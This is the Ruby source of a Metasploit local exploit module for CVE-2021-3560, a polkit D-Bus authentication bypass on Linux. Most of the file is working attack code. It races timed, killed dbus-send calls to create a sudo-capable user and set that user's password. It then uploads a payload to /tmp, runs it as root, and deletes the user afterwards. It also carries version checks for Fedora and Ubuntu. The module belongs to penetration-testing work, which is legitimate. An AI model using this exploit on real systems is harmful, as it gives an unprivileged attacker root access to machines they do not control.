##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'unix_crypt'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Polkit D-Bus Authentication Bypass',
        'Description' => %q{
          A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged
          attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a
          method over D-Bus and kills the client process. This will occasionally cause the operation to complete without
          being subjected to all of the necessary authentication.
          The exploit module leverages this to add a new user with a sudo access and a known password. The new account
          is then leveraged to execute a payload with root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kevin Backhouse', # vulnerability discovery and analysis
          'Spencer McIntyre',                  # metasploit module
          'jheysel-r7'                         # metasploit module
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => ['unix', 'linux'],
        'References' => [
          ['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
          ['CVE', '2021-3560'],
          ['EDB', '50011']
        ],
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-06-03',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
      OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
      OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
      OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def get_loop_sequence
    datastore['ITERATIONS'].times.map(&:to_s).join(' ')
  end

  def exploit_set_realname(new_realname)
    loop_sequence = get_loop_sequence
    cmd_exec(<<~SCRIPT
      for i in #{loop_sequence}; do
        dbus-send
          --system
          --dest=org.freedesktop.Accounts
          --type=method_call
          --print-reply
          /org/freedesktop/Accounts/User0
          org.freedesktop.Accounts.User.SetRealName
          string:'#{new_realname}' &
        sleep #{@cmd_delay};
        kill $!;
        dbus-send
          --system
          --dest=org.freedesktop.Accounts
          --print-reply
          /org/freedesktop/Accounts/User0
          org.freedesktop.DBus.Properties.Get
          string:org.freedesktop.Accounts.User
          string:RealName
        | grep "string \\"#{new_realname}\\"";
        if [ $? -eq 0 ]; then
          echo success;
          break;
        fi;
      done
    SCRIPT
               .gsub(/\s+/, ' ')) =~ /success/
  end

  def get_cmd_delay
    user = rand_text_alphanumeric(8)
    time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
    time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
    unless time && time[1]
      print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
      return nil
    end

    time_in_seconds = time[1].to_f
    # The dbus-send command timeout is implementation-defined, typically 25 seconds
    # https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
    if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
      print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
      return nil
    end
    time_in_seconds / 2
  end

  def check
    if datastore['TIMEOUT'] < 26
      return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
    end

    unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
      return CheckCode::Safe('The polkit framework is not installed.')
    end

    # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
    # do that, the distro specific package manager would need to be queried. See #check_via_version.
    polkit_version = Rex::Version.new(Regexp.last_match(1))

    unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
      return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
    end

    # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
    @cmd_delay = get_cmd_delay
    return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?

    status = nil
    print_status('Checking for exploitability via attempt')
    status ||= check_via_attempt
    print_status('Checking for exploitability via version') unless status
    status ||= check_via_version
    status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")

    status
  end

  def check_via_attempt
    status = nil
    return status unless !is_root? && command_exists?('dbus-send')

    # This is required to make the /org/freedesktop/Accounts/User0 object_path available.
    dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')
    # Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a
    # random string before restoring it.
    result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
    if result =~ /variant\s+string\s+"(.*)"/
      old_realname = Regexp.last_match(1)
      if exploit_set_realname(rand_text_alphanumeric(12))
        status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
        unless exploit_set_realname(old_realname)
          print_error('Failed to restore the root user\'s original \'RealName\' property value')
        end
      end
    end

    status
  end

  def check_via_version
    sysinfo = get_sysinfo
    case sysinfo[:distro]
    when 'fedora'
      if sysinfo[:version] =~ /Fedora( release)? (\d+)/
        distro_version = Regexp.last_match(2).to_i
        if distro_version < 20
          return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
        elsif distro_version < 33
          return CheckCode::Appears("Fedora version #{distro_version} is affected.")
        elsif distro_version == 33
          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
          patched_version_string = '0.117-2.fc33.1'
        elsif distro_version == 34
          # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
          patched_version_string = '0.117-3.fc34.1'
        elsif distro_version > 34
          return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
        end

        result = cmd_exec('dnf list installed "polkit.*"')
        if result =~ /polkit\.\S+\s+(\d\S+)\s+/
          current_version_string = Regexp.last_match(1)
          if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
            return CheckCode::Appears("Version #{current_version_string} is affected.")
          else
            return CheckCode::Safe("Version #{current_version_string} is not affected.")
          end
        end
      end
    when 'ubuntu'
      result = cmd_exec('apt-cache policy policykit-1')
      if result =~ /\s+Installed: (\S+)$/
        current_version_string = Regexp.last_match(1)
        current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))

        if current_version < Rex::Version.new('0.105-26')
          # The vulnerability was introduced in 0.105-26
          return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
        end

        # See: https://ubuntu.com/security/notices/USN-4980-1
        # The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
        case sysinfo[:version]
        when /21\.04/
          patched_version_string = '0.105-30ubuntu0.1'
        when /20\.10/
          patched_version_string = '0.105-29ubuntu0.1'
        when /20\.04/
          patched_version_string = '0.105-26ubuntu1.1'
        when /19\.10/
          return CheckCode::Appears('Ubuntu 19.10 is affected.')
        end
        # Ubuntu 19.04 and older are *not* affected

        if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
          return CheckCode::Appears("Version #{current_version_string} is affected.")
        end

        return CheckCode::Safe("Version #{current_version_string} is not affected.")
      end
    end
  end

  def cmd_exec(*args)
    result = super
    result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output
  end

  def dbus_method_call(object_path, interface_member, *args)
    cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply]
    cmd_args << object_path
    cmd_args << interface_member
    args.each do |arg|
      if arg.is_a?(Integer)
        cmd_args << "int32:#{arg}"
      elsif arg.is_a?(String)
        cmd_args << "string:'#{arg}'"
      end
    end

    cmd = cmd_args.join(' ')
    vprint_status("Running: #{cmd}")
    cmd_exec(cmd)
  end

  def create_unix_crypt_hash
    UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
  end

  def exploit_set_username(loop_sequence)
    cmd_exec(<<~SCRIPT
      for i in #{loop_sequence}; do
        dbus-send
          --system
          --dest=org.freedesktop.Accounts
          --type=method_call
          --print-reply
          /org/freedesktop/Accounts
          org.freedesktop.Accounts.CreateUser
          string:#{datastore['USERNAME']}
          string:\"#{datastore['USERNAME']}\"
          int32:1 &
        sleep #{@cmd_delay}s;
        kill $!;
        if id #{datastore['USERNAME']}; then
          echo \"success\";
          break;
        fi;
      done
    SCRIPT
               .gsub(/\s+/, ' ')) =~ /success/
  end

  def exploit_set_password(uid, hashed_password, loop_sequence)
    cmd_exec(<<~SCRIPT
      for i in #{loop_sequence}; do
        dbus-send
          --system
          --dest=org.freedesktop.Accounts
          --type=method_call
          --print-reply
          /org/freedesktop/Accounts/User#{uid}
          org.freedesktop.Accounts.User.SetPassword
          string:'#{hashed_password}'
          string: &
        sleep #{@cmd_delay}s;
        kill $!;
        echo #{datastore['PASSWORD']}
        | su - #{datastore['USERNAME']}
        -c \"echo #{datastore['PASSWORD']} | sudo -S id\"
        | grep \"uid=0(root)\";
        if [ $? -eq 0 ]; then
          echo \"success\";
          break;
        fi;
      done
    SCRIPT
               .gsub(/\s+/, ' ')) =~ /success/
  end

  def exploit_delete_user(uid, loop_sequence)
    cmd_exec(<<~SCRIPT
      for i in #{loop_sequence}; do
        dbus-send
          --system
          --dest=org.freedesktop.Accounts
          --type=method_call
          --print-reply
          /org/freedesktop/Accounts
          org.freedesktop.Accounts.DeleteUser
          int64:#{uid}
          boolean:true &
        sleep #{@cmd_delay}s;
        kill $!;
        if id #{datastore['USERNAME']}; then
          echo \"failed\";
        else
          echo \"success\";
          break;
        fi;
      done
    SCRIPT
               .gsub(/\s+/, ' ')) =~ /success/
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def upload_and_chmodx(path, data)
    upload(path, data)
    chmod(path)
  end

  def upload_payload
    fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}"
    upload_and_chmodx(fname, generate_payload_exe)
    return nil unless file_exist?(fname)

    fname
  end

  def execute_payload(fname)
    cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
  end

  def exploit
    fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
    fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
    if datastore['TIMEOUT'] < 26
      fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
    end

    if @cmd_delay.nil?
      # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
      # likely cause the check method wasn't executed. Lets set it so long.

      # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
      @cmd_delay = get_cmd_delay
      fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
    end

    print_status("Attempting to create user #{datastore['USERNAME']}")
    loop_sequence = get_loop_sequence

    fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
    uid = cmd_exec("id -u #{datastore['USERNAME']}")
    print_good("User #{datastore['USERNAME']} created with UID #{uid}")
    print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
    if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
      print_good('Obtained code execution as root!')
      fname = upload_payload
      execute_payload(fname)
    else
      print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
    end

    print_status('Attempting to remove the user added: ')
    if exploit_delete_user(uid, loop_sequence)
      print_good("Successfully removed #{datastore['USERNAME']}")
    else
      print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
    end
  end

  def on_new_session(client)
    # Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
    # So let's just use the WritableDir that must exist, given its use earlier
    if !session.nil? && (client.type == 'meterpreter')
      client.core.use('stdapi')
      client.fs.dir.chdir(datastore['WritableDir'])
    end
  end
end
